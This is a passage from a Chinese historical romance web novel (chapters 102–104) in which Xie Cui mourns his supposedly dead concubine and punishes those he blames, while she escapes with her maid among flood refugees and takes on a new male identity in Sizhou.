谢漼捏着,几乎要将纸捏碎。他垂着眼,注视着一个小匣子中的物件。 是钢珠,即便遭受烈火烧灼,也依旧没有改变形状。 匣子中共百来颗钢珠,有大有小,大的曾被她当作棋子用,小的比指甲盖还小。 往事历历在目,他记得那日,她坐在门口,粉色衣衫垂地,极为专注地拿着搓板来回搓着小珠子。 当时只道是寻常。 守灵三日转瞬即逝。 入棺那日,谢漼推开木匣,一手紧紧抓着木匣边缘,另一只手朝里伸进去。 他慢慢地在焦尸的脸上摩挲着,倾身下去,脸部骤然顿住。 烧得这般厉害,连唇都找不到。 很快,焦尸的脸变得湿漉漉,覆上了大片大片的泪。 高大身躯撑在木匣上,久久未言语。 最终,还是俯下身,吻了吻。 谢璋哽咽着喊了一声“爹”。 谢漼便抱他起来,让他最后看了一眼。 葬地,谢漼选在了离京都二十里远的一座山。 此处山清水秀,树木郁郁葱葱。 清晨,鸟鸣清脆婉转。 棺椁入土,被泥土掩埋。月兰拜别后,便去另一个埋“引儿”的土坡。 墓前,只留谢漼和谢璋父子二人。 墓碑上,只刻着五字——柳寻真之墓,便再无旁的。 谢漼注视着那几字,手缓缓抚上墓碑。 清风徐徐拂来,草地发出沙沙的轻响。 谢漼眼前浮现那一日的画面,寻真立在高坡之上,张开双臂,似要随风而去。 他奔过去想要抓住她,下一秒,她乘风而去。 他没能抓住她,然后,从高坡坠下。 谢漼眼前一黑,失去了意识。 第102章 第102章“偿还” 近日,坊间都在议论一事。 谢家五郎最宠爱的小妾死了,那火来的蹊跷,据说烧得没了人形,惨不忍睹。谢家五郎伤心过度,竟发了心疾,如今卧病在床,昏迷不醒。 这般深情,令人嗟叹。 京中一处小酒馆中,有二名青年也正在八卦此事。 “……那小妾是何来头,竟让谢家五郎这般痴迷?” “此女,乃栖霞阁的伎子。谢家五郎还未高中之时,便常去栖霞阁消遣,专点那伎子弹琵琶。” “竟是伎子?这事我怎从未听过?” “因我与那谢漼是同年,你是不知……”那人一谈起这话题,滔滔不绝起来,“那年人才辈出,难度堪称历年之最,我才得了个末名,若放现在,凭我的本事,肯定不止如此……罢了罢了,不说这些了。那谢家五郎,真是气人!我等皆在悬梁刺股,日夜苦读,他倒好,竟日日去栖霞阁逍遥,最后竟还中了头名!” 对面之人便笑:“人家那可是文曲星下凡,岂是我等凡人能比的?……说起来,那伎子琵琶定是弹得极好了?你可有听过?我听闻谢五郎精通音律,想来能入他耳的,定是技艺超凡了?” “我倒真想去听!可我家中管的紧,不让我去那等污秽之地。如今想来,实在遗憾。此女能得五郎钟情,定有过人之处,如今香消玉殒,可惜!可惜!” 这时,酒馆角落传来“哐当”一声,原来是有人打翻了酒壶。 众人转头望去,那人面容白净、身形文弱。 此人正是范 岂。 范岂的衣袍被酒水打湿,起身,酒水顺着衣摆往下淌,店员忙拿着干布过去,帮他擦拭。范岂在桌上放下酒钱,神色怔忪,走出了酒馆。 那二人瞥了一眼,便转回目光,接着谈论起来。 范岂在街上晃了许久,才回府。 夜已深,府里为他留了灯,仆人过去扶他,范岂却挥手推开,摇摇晃晃回自己房间。因妻子怀有身孕,范岂早已与她分房睡,屋里没掌灯,一片昏暗,范岂借着窗外透入的月光,一路连碰带撞,朝床走去。 门外传来脚步声。 丫鬟提着灯,一旁是范岂之妻,腹大如鼓,快要临盆了。 “夫君,今日怎回来这般晚,也不派人回来说一声?还喝了这么多酒,莫不是朝中出了什么事?” 范岂身子一僵,转过身去。 妻子的脸,在烛火映照下,分外温婉动人,又因怀孕,添了几分母性的柔和。 范岂恍惚间,眼前妻子的脸竟幻化成另一个人的样子。 范岂脸色骤变,从小受到的礼义教化,让他内心羞愧不已。妻子怀胎十月,即将临盆,自己却想着旁人。 范岂:“无事,今日不过是与同僚多喝了几杯,一时贪杯便醉倒了,忘了让人回来说一声,娘子,你快回去歇着,你如今身子重了,日后便莫要等我了。” 王锦瑶应了声,唤丫鬟去拿来醒酒汤,然后便回房了。 一路上,王锦瑶都沉默着,丫鬟穗儿看了看自家小姐,心里憋了一肚子话,话到嘴边又咽了回去。 伺候王锦瑶睡下了,穗儿关上门,往隔壁范岂的房间看了一眼。 心中犯起嘀咕,姑爷莫不是外头有人了? 其实,穗儿早就有此怀疑了。 小姐与姑爷成婚头一年,虽同宿一房,却甚少同房。 日子久了,王锦瑶的陪嫁都瞧出了异样。姑爷总掐着日子,每逢初一、十五才与小姐行房,而每次行房时,屋内都没什么动静,只叫一次水便结束,倒像是例行公事。听嬷嬷说,像姑爷这般年纪的男子,在这方面正该旺盛之时,怎会这般冷淡。 起初,大伙儿还怀疑过,姑爷身有隐疾。 可去年的一日,姑爷喝了些酒,回房后,与小姐缠绵一夜,夜里叫了数次水,那时,大伙儿才知姑爷那方面是没问题的。 也正是那一夜,令小姐有了孕。 穗儿记得,那一夜,姑爷突然冲进房内,抱住了小姐,眼神中满是热切,平日的端方模样全没了,一进来便抱着小姐到处啃,手也很不规矩,以往有丫鬟在场时,姑爷可绝对不会这样。 穗儿那时便怀疑了,姑爷莫不是喝多了酒,把小姐错认成了别人。 穗儿只盼着,姑爷莫做出什么出格的事来,小姐临盆在即,女子生产可要在鬼门关上走一遭,可经不起任何刺激。 范岂躺在床上,心中无尽悔恨。 他原以为自己能够做到,可人心哪能由着自己摆布? 他这样,既负了发妻,又使自己余生追悔莫及。 倘若,当初能多几分勇气,为自己争一争,向谢漼求娶小楼姑娘。 小楼姑娘或许就不会死了。 只要有心,亦可设法为小楼姑娘谋一个良家身份,彼时,只要能说服父母,便有可能娶到小楼姑娘。 可为何,自己连争取都没有,便轻易放弃了呢? 而谢进几次想出别庄,都被老夫人以各种理由阻拦。他却并未往坏处想,只觉得自己都这么大了,祖母还拦着不让出门,心里有些郁闷。便没走大门,翻墙出去。 谢进先去了朱雀大街,去刘记家买酥饼,排队时,听到前面两个妇人的谈话,脸吓得惨白,连饼都顾不上买,狂奔着去谢府。 谢进翻墙进了府,看到那被烧毁的院子,大高个晃了晃,眼中满是惊惶与不可置信,飞奔过去,岂料,还没跑到清挽院,冷不防被人敲了一棍子,昏过去了。 老夫人一直派人盯着谢漼,自然很快便知晓谢进溜了,立即传消息回府,大夫人知道后,便让人在清挽院附近守着,谢进一出现,便将他敲晕。 谢进在自己房间醒来,房中只有老夫人和大夫人。 “娘……阿奶……我怎么会在这,刚才不是……” 谢进从榻上坐起来,摸了摸后脑,很快想起昏迷前听到的消息,脸上浮现出无法掩饰的焦急之色。 “娘,阿奶,我得出去一趟。” 老夫人沉默不语,看向钱绮。 钱绮开口问道:“你要去哪?” 谢进往门口走去:“就是有事……” 钱绮:“若你是要去找柳氏,就死了这条心吧!她已下葬,你五兄没把她葬入族墓,正是不想让无关之人扰她清净,你也别去添乱了。” 谢进的脸“唰”的一下变得毫无血色,手还未碰到门,僵在半空,许久之后,僵硬地转回来,看向钱绮。 想要说话,却像被人扼住喉咙,半个字都挤不出来。 老夫人道:“炎哥儿,柳氏既已死,你就莫要任性胡来了。她出身烟花之地,生前便已背负秽名。” “你难道还想让她死后也落个罔顾伦常,私通夫弟的污名?” 这几句如一记记重锤,敲在谢进心口,谢进呆立门口,眼神空茫,如木雕泥塑一般。 谢漼那日在墓地晕倒,谢璋六神无主,抱着谢漼大声哭喊“爹”,那凄厉的喊声很快便被不远处的承安等人听到,将谢漼背下了山。 两位太医再次赶来,诊断后,连连叹气,这不听医嘱的病人最是棘手,只说会尽力救治,可若病人自己没有求生意志,那便回天乏术了。 谢漼连发了两日高烧,药都是强灌下去的。 谢彦成来看了几次,怒其不争,倒是恒哥儿可怜,小小人儿,整日守在床边,两眼肿肿的,模样甚是可怜。 才逢生母亡故,若爹又当着他的面撒手去了,这么小的孩子怎受得住? 他这个当爹的竟一点都不为孩子着想。 谢漼昏迷了整整四日,第五天中午,在谢璋的哭声中睁开了眼。谢璋眼睛湿湿的,两只小手紧紧抓着他的手掌。 谢漼抬起手,抚了抚满是泪水的小脸,缓缓地说了两字:“莫怕。” 太医诊脉后道:“最凶险的一日算是挺过去了,此后每日按时服药,莫多思多虑,以免劳神伤心。静心调养一月,便能痊愈。” “博士你此次心疾来势凶猛,若不好好调养,日后还会复发,务必多留意自身状况,稍有不适,须及时延医问药。” 谢漼:“多谢张太医。” 谢漼在床上养了三日,第四日便下了地,平日里,他偶尔看书、下棋、练字,其余时间便教谢璋功课。 一日,承安快步进了谢漼书房,二人密谈了小半个时辰,之后,承安领命离开,朝府外走去。 谢璋在庭院看书,不时朝书房张望,见承安出去了,下了石凳,往书房走去。 谢璋整张小脸写满了心事,双手揪在一起,在廊边挪着步子,走几步便停下。 他知道爹生了病,身体不好,不该去烦他的,可是…… 谢漼听到了脚步声,头也未抬:“恒哥儿,可是寻我有事?” 谢璋嗯了一声,踌躇着走进书房:“……爹。” 谢漼 :“嗯?” 谢璋瞅瞅谢漼的脸色,纠结许久,还是问了:“爹,为何娘的院子会起火?你可有查?” 那三日守灵,谢璋在心里练习了无数遍,如今,已能很自然地唤出来了。 谢漼招了招手,谢璋走过去了。 谢漼将他放在膝上,一手搂着孩子,一手不紧不慢地在纸上写字。 用哄孩子的口吻道:“恒哥儿放心,害你娘之人,我自会叫他们一一偿还。” 谢璋盯着面前那纸,谢漼写完,收笔,只见那纸上写着—— 余生日夜,来煎人寿。 傍晚,谢漼去了谢二爷的院子,向他提出外出立府的想法。 谢彦成上下打量了他几眼,喉中发出一声冷哼,似乎早料到他会如此,谢彦成自知,因柳氏之死,二人之间已生了嫌隙,便也未再多言,直接允了。 谢漼躬身行礼:“多谢二伯。” 谢漼带着谢漼搬出了谢府,住进了谢漼曾为寻真买的,朱雀门的那处院子。 这消息很快便传遍了谢府。 自那日谢漼去过惠宁院后,惠宁院中所有人都提心吊胆,终日惶惶,而吕令萱倒是相对镇定一些,她自恃有老夫人撑腰。 可不久后便传出谢漼单独立府的消息,吕令萱不信,亲自去静远居看,院子里空无一人,回去路上,她感受到旁人若有若无的嘲讽目光。 当晚,一纸休书送来,以“妒”为由。 吕令萱如遭雷击,连忙跑去别庄找老夫人,可老夫人称身体不适,不愿见她。 吕令萱是庶女,生母早早去了,自幼于府中谨小慎微,费尽心思讨好主母,长大之后,便开始为自己的未来忧心。 吕家这些年日渐衰落。她是庶出,主母自然不会用心为她安排终身大事。以她的出身,最多也就嫁给寒门子弟做正妻,日子想必也是过得紧巴巴的。主母吝啬,给她的嫁妆定少得可怜。吕令萱一度觉得,自己这一辈子,就这样一眼望到头了。 于是,吕令萱豁出去,博了一回,却没想到遇到的是个负心汉,她失了贞洁,若为日后夫家知晓,便完了,整日提心吊胆,想法子推掉了几门亲事,可不料绝处逢生,姑祖母回门,为谢家五郎说亲,吕家虽还有其他适龄姐妹,姑祖母却一眼相中了她。 如今回想起来,定亲那几日,竟是她此生最风光的时刻了。 若她被休弃回吕家,这一生便彻底毁了。 老夫人始终不愿见她,吕令萱终于回过味儿来,眼中隐隐带着股魔怔,在老夫人门外扯着嗓子喊,当着下人的面就说,那两个从柳氏院子里跑了的奴仆,是老夫人的人。 老夫人这才愿意见她。 谁料,吕令萱进去没多久,老夫人竟口吐白沫,脸歪嘴斜,大夫来看,说是中风了,往后余生都只能躺在床上。 吕令萱疯疯癫癫,被遣回了吕家。 休书上只有一字——妒。 柳氏之死,凄惨至极,原本就在京中传得沸沸扬扬,而如今吕令萱被休弃,明眼人都能猜到,是吕令萱谋害了柳氏。 “毒妇”名声传出,不仅吕令萱再无二嫁可能,就连吕家待嫁的姐妹也受牵连。 吕令萱便被吕家关在偏僻小房里,每日仅给些许食物,被当做疯子关了起来。 一日,谢漼新宅子门口跪了一人。 这人从早跪到晚,滴水未进。就在他快要支撑不住倒下之时,眼前被人影挡住。 谢进仰起头,看到了谢漼。 谢进满脸憔悴,喉中干涩,想要唤“五兄”,却没脸叫。 谢进俯身,对着谢漼重重磕了一个响头,抬起头时,额头渗出鲜血,蜿蜒流下。 谢进红着眼睛,迎着谢漼冰凉的目光,嘴唇颤抖,还是问出了口:“五兄,她……葬在何处?我、我想……” 谢漼俯视着他,许久:“谢进,你怎还有脸问我?” “我如今才知,这世上,何人最为可憎。” 谢漼说完,转身进屋。 谢进看着,眼中盈满了泪,模糊视线中,有个小身影立在门口,望了他一会,也转身进去了。 谢进撑着地,摇摇晃晃起身离开。 过了几日,谢进从军的消息传入了谢府。钱绮大惊,问谢进所在,仆人说谢进已随大军出征,三日前便已离京了。 谢进报的是去边疆的军,九死一生。 钱绮心急如焚,坐着马车去追,却不慎从马车上摔下,摔断了双腿。 谢大爷谢怀礼也十分诧异,他向来乖巧的儿子,怎一声不吭突然跑去从军了?问钱绮,自然是什么都问不出来。 晚上,谢怀礼去找谢彦成,二人聊至深夜。 进了卧房,孙宜问:“大哥可发现什么了?” 谢彦成摇了摇头。 短短几日,府中发生这么多事,他们自然都有所察觉,但柳氏之死,怎么也想不到会与大房有关,谢彦成去查后得知,大夫人院中关了一个丫鬟,那丫鬟面容与柳氏极为相似,查到这里,谢彦成就停手了。 谢彦成:“大哥只说,这府中近日不太安宁。找个道士来驱驱邪。” 沉默片刻,孙宜又问:“那十五郎……” 谢彦成:“男儿志在四方,想要建功立业也是好事。我已派人去边境,让他们暗中护着点,大哥便放心了。” 孙宜叹了口气。 谢彦成终是忍不住,声音陡然响了几分:“这竖子……竟为一妇人做出这等大逆不道之事!怎如此糊涂!若叫外人知道了,仅孝这一字,便可压死他!” 谢怀礼回去对钱绮说,已拜托二弟派人在军中照顾谢进,好言劝慰了一番。可钱绮心情依旧低落,没过几天,头上竟生了白发,看上去像是老了十岁。叫人唏嘘。 谢漼本只有一月的假,因突发心疾,又给他特批了一月。 这回,谢漼要带谢璋一同去凤阳府,便提前几日出发。 临行前,谢漼回了一趟谢府。 谢彦成与他谈了片刻政事,谢漼告辞之时,他语气重了几分:“柳氏之事,便到此为止。” 谢漼没有回复。 谢彦成盯了他半晌,又想,他马上便要去凤阳府,还能整出什么事,道:“万事小心,去吧。” 谢漼躬身,离开。 从谢彦成书房中出来,往西边瞧了一眼,脚步顿了顿,最终还是抬腿,往前走去。 目光随意一瞥,见一女子抱着包袱,一瘸一拐,垂着眼,往门口走去。 谢漼一震,僵了瞬,还以为自己又出现了幻觉,看了许久,见那女子马上就要迈出府门离去,大步奔了过去。 谢漼抓住那人的手臂,声音带着几分颤,恍恍惚惚地唤:“……真儿。” 那人转过身来。 谢漼看清了她的脸。 第103章 第103章“流亡” 于此同时,寻真与引儿已成功混进了流民队中。 只是,路线却与寻真原本的计划有所偏差。 这一批流民皆为泗州人氏,他们中的一部分被洪水冲到了淮河下游的淮阴、淮安等地,另一部分逃到盱山避难。因房屋被洪水冲毁,积蓄也付诸东流,只能在外流浪。后来,不知从何处听闻,洪灾已得到控制,朝廷还临时颁布了许多有利于流民的政策,不仅提供住所,还减免赋税与徭役。于是,众人便聚集起来,一路走回乡。 挤入流民群时,寻真扮作男子模样,与引儿以兄妹相称。 寻真起初打算是装失忆,可两人同时失忆,这几率实在太小。于是,她随机找了一个大娘,攀谈起来。 没聊多久,便从大娘口中套出了不少信息。 大娘是泗州虹县青阳镇人,住在靠近淮河岸边的滩头村,一家人靠摆渡、捕鱼为生。她的丈夫和儿子在捕鱼时被洪水冲走,大娘着急去找,也被洪水卷走,好在她水性不错,这才侥幸活了下来。 寻真脑子一转,立刻又有了新的计划。 当场认起了老乡,激动对大娘说,她们兄妹俩也是滩头村中人,自己家同样以捕鱼为生,只是与大娘不同的是,父母都在洪灾中遇难,如今兄妹二人无依无靠,只有彼此了。 大娘并未起疑,听着寻真的遭遇,联想到自己,眼眶不禁泛起了泪花,道:“都是可怜人呐……” 就这样,三人顺理成章地结伴同行。 跟着大部队流亡,寻真和引儿把包袱里的衣物全都换成了钱,将四个包袱缩成两个,以免太过显眼。 寻真和引儿虽揣着不少金子,却毫无用武之地。只能跟着大部队一起风餐露宿,挖野菜、摘野果,喝浑浊的河水。要是没找着野菜、野果,就只能啃树皮、嚼草根。为了填饱肚子,队伍里甚至有人吃昆虫、老鼠和蛇,寻真实在接受无能,还好提前有准备,趁人不注意,偷偷吃一点存粮。 有一次,引儿支起锅给寻真烧河水,还遭到了队伍里男人的嘲笑,说寻真这男子竟比女子还要娇贵。 寻真虽有点生气,但转念一想,那男人的话不正表明自己女扮男装很成功吗? 跟流民一起混了十五天,寻真感觉自己的身体有些不对劲,浑身说不出的难受。她心想,自己很可能是水土不服,又或许是喝了被污染的河水,抵抗力弱,一下子就感染了病菌。 晚上,寻真和引儿靠在一起睡觉,寻真脑袋昏昏沉沉,眼前的景象变得模糊不清,身体忽冷忽热。 引儿手探上来,指尖一颤,声音焦急:“好烫,姐……哥哥,你还好吗?” 寻真迷糊应了声。 脑海中却浮现谢漼的话。 谢漼说她内里积弱已久,没骗她。引儿的身体就比她好得多,两人同样吃野菜、喝河水,引儿却什么事都没有。 大娘也探手摸了摸寻真的额头,吃了一惊:“这是发烧了!莫不是得了……疫症不成?” 漆黑的夜色中,大娘这句话仿佛一颗石子投入平静的湖面,激起千层浪。众人吓得连忙站起身来,纷纷散开,到别处去睡觉了。若不是夜间无法赶路,他们恐怕立刻就会将寻真和引儿抛下。 引儿看着众人如避蛇蝎般,慌了,眼里吓出了泪。 “小妹,你取块布,到河边打些水绞干,给你哥哥敷在脑门上。要是今晚能撑住,明日便能到泗州城请大夫瞧瞧了。” 引儿忙照做,从衣角撕下一块布,去河边浸水、拧干,给寻真敷上。 大娘脸上带着歉意,伸手指向远处的大部队,道:“小妹,这疫症可不得了,我也去那了……你今晚可千万别睡,明天一大早我们就走了,你多看着点,可别落下了。” “多谢大娘。” 大娘也远离了她们。 引儿环着寻真,哽咽着说:“姐姐,你再坚持一晚,明日我们便到泗州了。” 寻真只觉得整个脑袋都烧了起来,变成一团浆糊。 泗州…… 谢漼在濠州…… 不对,他回去了。 这些日子,寻真一直努力克制自己不去想那些不该想的,但在病倒的这一夜,全都涌现了。 谢漼现在已经知道她死了,他会难过吗? 应该……会吧? 但是时间久了,他肯定就会忘了自己吧? 他会找别人吗? 会喜欢别人吗? 谢漼。 谢漼…… 引儿一夜未眠,时刻留意着前方的动静,果然,天一亮,其他人便迅速起身,向前赶路,完全没有叫她们两人,生怕她们跟着。 引儿给寻真敷了一夜的额头,可烧还是没有退。 “姐姐,姐姐……”引儿急切地唤着。 “嗯……” “姐姐再坚持一会儿,莫要睡……” 引儿将她背起来的时候,寻真感觉自己的魂儿仿佛飘了起来,她搂着引儿的脖子,看了眼天边刚刚露头的太阳,橙黄的光芒晃得人眼晕。 寻真嘴角轻动,含混不清地嘟哝了一句。 “……我还以为我是天命之女呢。” “姐姐,你说什么?”引儿侧着抬起头来看她。 寻真眼睛湿润了。 她发现自己有点儿想谢漼了。 想他的拥抱,想他的吻,想他用那么深情的目光,只凝视着她一人。 寻真垂下了头,渐渐地,冰凉的液体浸湿了引儿胸前的布料。引儿咬紧牙关,加快了前行的脚步。 “引儿,若我没撑到泗州……你便回去,向谢漼求助吧。” “不。姐姐你一定会没事的……” 寻真感觉自己的力量正在一点一点从身体里流逝,看着引儿,引儿的面容在她眼中逐渐变得虚幻。 “……云云,你是来接我了吗?” 寻真闭上了眼。 谢漼见到石榴的那一刹,便松开了手。 是那丫鬟。谢漼听承安说,关在大夫人院中的丫鬟,与寻真模样相似。 原来……竟这般像。 谢漼视线往下,见她股间渗出血迹,便问一旁的仆役。 “此人犯了何事?” 那仆役答道:“回五公子的话,这丫头冲撞了大夫人,便打了三十板子,逐出府去。” 石榴抱着包袱,身子抖个不停,极力垂着头,低得都快贴到地上了。 谢漼道:“给她拿些伤药,再发一笔遣散银子。” 仆役听了,心里一惊,脸上却陪着笑,忙应道:“是,小的这就去办。” 石榴跪在地上,磕了一个头:“多谢五公子。” 谢漼头也不回地走了。 离开前的那天晚上,谢漼叫来承安,取了身契给他。承安拿着自己的身契,傻愣愣地站了好久。谢漼又递来一个沉甸甸的包袱,承安接过,抱在怀里,声音发颤:“……爷。” 他十岁起便跟着谢漼,如今已有十三年,从未想过会离开谢漼。 姨娘惨死,他心里懊悔万分,都怪自己当时没多留个心眼,才让恶人有了可乘之机。 本以为谢漼定会严惩,便是挨五十板子,都是他该的。 可爷却……给了他身契。 承安扑通跪地,将包袱放在一边,五体投地:“求爷,莫要赶我走……” 谢漼只平静地对他说:“承安,我与你初时之时,你说你读过三年书,是因家中艰难,才不得已将自己卖了,如今,你我主仆缘分已尽,你便可去走自己的路了。” 谢漼说完,承安已泪流满面,他跪着,向谢漼磕了三个响头,走之前,将手头的事交代给永望。 其中,有一块地,谢漼走的这一年半,承安就一门心思扑在这上头。谢漼临走前,给了他设计图纸。承安加紧督工,命人入深山,采巨石。开池引流,起戏楼,筑观星台,立藏书楼。 如今宅子已建了小半。 之前,承安将所有的精力都放在这事上。 永望便问:“那我可要继续办这个?” 承安:“若爷没提,便先放一放吧。” 交代完一切,承安自去领了五十板子,便离开了。 翌日,父子俩上路了。 谢璋第一次远行,心里却没什么特别的感觉,出城门时,他掀开窗帘往外面看了一眼,然后转回去,抱住谢漼的手臂。自谢漼两次病重,谢璋似乎也感应到了什么,愈发地黏他。 “爹,我们以后还会回来吗?” “会的。”谢漼的目光朝另一个方向飘去,许久,才道,“你娘还在这里,当然要回来。” 听到这话,谢璋的眼眶湿了,哽咽 着嗯了一声。 引儿背着寻真,终于在晌午时分,进入泗州城。 在官兵的指引下,引儿背着昏迷的寻真来到了最近的一处临时医所,医官开了药,引儿喂寻真喝了药,又守了一夜。 翌日早上,寻真睁开了眼。 引儿惊喜,眼中立刻迸发出光:“姐姐,你终于醒了!……可担心死我了。” 寻真环顾四周,在庙里。 “这里是哪里?” “泗州城。” 寻真撑起身,脑袋还有点混,引儿拿了些稻草,垫在寻真后背。 寻真开始整理思路:“我们昨天是怎么进城的?” “官兵未严查,只每人问了话,我按照姐姐你教我的说,便放我们进来了。” 寻真点点头:“谢谢你,引儿,要不是你,我肯定就——” “呸呸呸,姐姐总爱说这些不吉利的话!”引儿道,“昨天真真是把我吓坏了!” 寻真弯起眼睛,看着引儿笑了一会,道,“不过,从今往后,我便要以男子的身份生活了,引儿,你还是得改口。” 引儿:“姐姐的意思是,若我们重新入籍,你要以男子的身份?” 寻真:“嗯。” 引儿:“姐姐,万万不可,若以男子入籍,扮成男子的艰难暂且不提,最要紧的事,那岂不是……再也不能以女子面貌出现在世人面前了?这怎么可以?” 虽然在这个朝代,家庭无男丁的情况下可以立女户。 可即便如此,有很多事,要靠男人的身份才能做。 寻真:“首先,以男子的身份在外行走,不管是做生意,还是旁的,都会便利不少。” “其次,我们两个女子,若立了女户,又如此年轻,还身负巨财,一旦为他人知晓,他人定会觉得我们两个弱女子好欺负,说不定会动歪心思,霸占我们的钱财。若是换成男子,他们便会忌惮几分。” “还有,最重要的一点,我已经准备好了。我知道假扮男子很危险,要是被发现,我们骗户籍的事被揭露,就会连累你也受罪,若是被判刑、仗打,甚至有可能丢了命。” 引儿听到这里,跺了一下脚:“你知道我不是这个意思!” 二人经过这段时间的逃亡,引儿脑子里陈旧的主仆观念总算淡化了一些。 寻真觉得这样很好,虽然两人在三观上有不少差异,但日子长了,潜移默化中,人总是会改变的。 寻真笑着说:“我知道。我的意思是——” “为了让我们不陷入危险,过上更好的日子,我会很努力,把男人这一身份扮得很好很好。” “直到没有一个人会怀疑。” “你相信我吗?” 引儿注视着寻真,她一直都知道的。 寻真不论想做什么,都会拼尽全力做到最好。 “我相信你。” “哥哥。”- 这几日,两人暂时住在庙里。附近也住了不少灾民。 寻真病好后,两人在城里四处逛了逛,泗州城还在重建之中,整座城市处处都留存着被洪水破坏的痕迹。 寻真猜得没错。由于洪水,泗州城大部分的户籍档案损毁了。 城中很多地方都张贴了公告,告知百姓需要重新登记户籍,公告上写明了下一次统一登记的时间、地点和要求。 两人记下时间,回庙里讨论名字。 原先混入流民队伍时,二人便以甄家兄妹的身份示人。 这“甄”姓便定了。 给自己取名字,可让寻真费了不少脑细胞。 将自己的名字倒过来?甄寻? 这样会不会太明显,容易被发现吧? 甄楼? 寻真连着读了几遍,发现谐音是——真low。 不行不行。 甄行?甄牛?甄靓? 寻真选择困难症了,便先问引儿:“你想取什么名字,还是继续用你现在这个名字吗?” 引儿:“我也想换个名字,哥哥书读得多,不如哥哥给我取个好听的名字吧?” 寻真给引儿想了几个,让她挑。 最后引儿选了一字“凌”,甄凌。 寻真用树枝蘸了水,在地上写下这两个字,给引儿看。 引儿十分开心,眼睛亮晶晶的:“以后我也是有姓有名的人啦!” 寻真点头:“嗯!” 引儿:“那哥哥要取什么名字呢?” 寻真望着天边,走了一会儿神,灵机一动。 有了! 一笔一划在地上写下几字。 念了一遍,问引儿:“这个名字怎么样?好听吧?” 既然都姓“甄”了,谐音一定要用起来! 引儿听了这名字,一愣。 第104章 第104章“登记” 差役登记受灾民众时,自然不是百姓说什么便记什么,还需复查审核,以防虚报、漏报。有人带着地契、房契或是族谱等能证明身份和户籍信息的旧文书,核验起来便容易些。 大娘就是其中之一了,洪水突发后,她便将地契贴身藏在里衣,一路小心保管,差役见有凭证,简单询问了籍贯、家中人口等,便快速登记在册。只是大娘丈夫和儿子,至今下落不明,生死未卜。 寻真和引儿二人拿不出任何能自证身份的物件,差役便会去走访邻里核实。因滩头村紧挨着淮河,洪水来袭时首当其冲,房屋成片倒塌,幸存者寥寥无几。大娘主动为她们作证,差役听后,便没怀疑,将二人登记在册。 待主簿汇总整理、编造完善后,寻真和引儿便正式成了泗州虹县青阳镇滩头村的村民了。 二人在滩头村搭了间小屋,与大娘做了邻居。 寻真去城中书院读书,凭着读书人的身份,揽些抄书的活儿。 引儿,不,现在是甄凌了。 甄凌在家做些手工活,拿绣品和手工艺品去集市上卖。当然,替人抄书和卖绣品赚不了几个钱,主要还是靠包袱里的金子换钱度日。 寻真每日都会早起,绕着整个村子跑步,还在屋前置了双杠,炼臂力,后来,她又去城里的铁匠铺,定制了一副杠铃和一堆哑铃。 每天清晨,寻真雷打不动地先绕着村子跑上一圈,回来后便开始进行力量训练,做双杠臂屈伸、杠铃卧推、俯卧撑,直到把自己累趴下。 寻真其实从未接触过系统的健身教程,这些锻炼方法和器材制作,全是凭她的记忆摸索出来的。回想起来,也觉得自己挺幸运,在毫无经验的情况下瞎琢磨,居然没有弄伤自己。 就这样坚持了小半年,寻真明显感觉到自己的身体发生了很大变化。 原本单薄的上身逐渐变得结实有力。她个子不高,如果身形过于瘦弱,很容易引起别人的怀疑,这下可算是不用担心了。 而且,经过“流亡”和户外锻炼,她的皮肤也晒黑了,还有些粗糙,便再也不用像以前那样特意把脸抹黄了。 滩头村人口稀落,没多少户人家。寻真每日坚持晨跑,来来回回穿梭在村子的小径上,次数多了,村里人便都眼熟她了,还觉得新奇,读书人大多弱不禁风,整日手捧书卷,举止斯文,像寻真这般爱动的,倒很少见。 两人定居三月后,差役在村子显眼处张贴公示。 差役扯着嗓子,站在告示旁,详细地向围拢过来的村民们解释其中内容。 寻真正在晨跑,瞧见这阵仗,停下脚步,凑过去看热闹了。 泗州刺史颁下新政。 名为荒政三策: 其一,恩诏百姓,二年之内,赋税全免,至第三年,减半征收。 其二,行以工代赈之法,凡受灾民众,投身水利疏浚、路桥建造、城垣修等公共工程,均可获钱谷以为酬。 其三,减粜出贷,官仓之米减价出售,同时朝廷放贷于民,以助灾民重振家业。 差役讲解完,百姓们欢呼雀跃。 寻真心想,泗州的官还挺好,有了这政策,即便没钱,她们也能在泗州好好过下去了。 甄凌听寻真讲了新政策,感慨道:“……是父母官呢。” 在书院,寻 真也听见别人谈论新政策。 寻真正坐在位置上看书,听见一词,注意力一下被吸引过去,竖起耳朵细听。 “……听闻这‘荒政三策’乃濠州一官员所创,如今在濠州推行得极为顺利,百姓都安定下来,农桑商贸迅速恢复,成了灾后重建的典范,是以他州纷纷效仿。” “如此大功,若各地推行顺利,那官员岂不是要加官进爵,青云直上了?” “你这人怎如此功利?为官者当造福百姓,怎能只想着升官发财之事?俗!” “哈哈,说起来,你可知这位官员是何来历?” “此人你定有所耳闻,他出身名门,才学卓绝,年纪比你我都小,才二十三,便有如今成就。此番回京,说不定能换上绯衣了!”那人声音满满的羡慕。 “那人莫非是……” 那人正要说出名字,突然压低声音,寻真没听清。 另一人接话道:“正是他。” 一人叹气道:“人家年少为官,一路扶摇直上,再看我屡试不第,真是天壤之别啊!” “莫要灰心,你要相信自己,这回定能中的!” 年末,老夫子叫住寻真,要举荐她去苏州的青麓书院,问她是否愿意。但青麓书院的束脩颇为昂贵,一年要五十两银子。 不过青麓书院有一规,但凡考得头名,便可全免束脩。 因这场洪灾,泗州大部分学院也遭损毁,都还在重建中,学生比往年少了一半。 夫子是举人出身,年届六十,精神矍铄,他捋着胡须,看着面前之人,眼中满是欣赏之色。 “竞舟,以你之才,拿下青麓书院的头名不难。且我与青麓书院院长是多年至交,讲明了难处,便可帮你说少一些,最多可以减半。” 竞舟,是寻真为自己取的字。 寻真不知道为什么这老夫子对她有这么高的评价。 这小书院,平日里并无考试,就是夫子授课,讲完便罢,偶尔会留作业,最多第二天上课当堂提问。 寻真倒是常被夫子叫起来提问,每回夫子都看上去很满意的样子。 其实寻真压根没怎么听,实在是这夫子讲得太无聊了,而且那些内容,她都听谢漼讲过了。 讲课水平,跟谢漼完全不在一个层次。 寻真不由感慨,原来谢漼教课还真是有两把刷子的。 老夫子以为寻真是顾虑束脩太高,才犹豫不决,便继续劝说:“竞舟,你莫要担忧,留在此地,已无益于你学业精进,你将来必成大器。若路上盘缠不够,我可先借给你,等日后有了再还我便是。” 寻真哪是在犹豫钱的事。 看着老头子一脸对她寄予厚望的样子。 寻真心想,去再好的书院,对她来说也没用啊! 而且刚在这里安定下来,又要换地方生活,太折腾了。 寻真说自己考虑考虑。 